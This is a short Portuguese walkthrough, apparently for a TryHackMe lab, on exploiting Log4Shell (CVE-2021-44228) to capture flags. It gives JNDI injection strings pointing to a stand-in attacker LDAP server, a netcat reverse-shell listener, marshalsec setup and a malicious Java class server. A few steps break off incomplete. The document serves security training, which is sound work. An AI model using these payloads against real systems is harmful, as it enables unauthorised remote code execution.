lathika-3006/solar-exploiting-log-4jPasso a passo do TryHackMe para explorar a vulnerabilidade Log4Shell (CVE-2021-44228) para alcançar execução remota de código e capturar flags.
Plataforma: TryHackMe Dificuldade: Média Tópico: Log4Shell (Vulnerabilidade Log4j)
Explore a vulnerabilidade Log4j (CVE-2021-44228) para obter execução remota de código e capturar flags.
nmap -sC -sV <TARGET_IP>
A vulnerabilidade Log4j permite injeção JNDI:
${jndi:ldap://<ATTACKER_IP>:1389/a}
Se a entrada for registrada nos logs → a vulnerabilidade existe.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
Execute o servidor LDAP:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
Crie a classe Java maliciosa (Exploit.class)
Injete o payload no campo vulnerável:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 Use cabeçalhos como:
Uma vez acionado:
Verifique:
sudo -l
Procure por:
find / -name flag.txt 2>/dev/null
cat flag.txt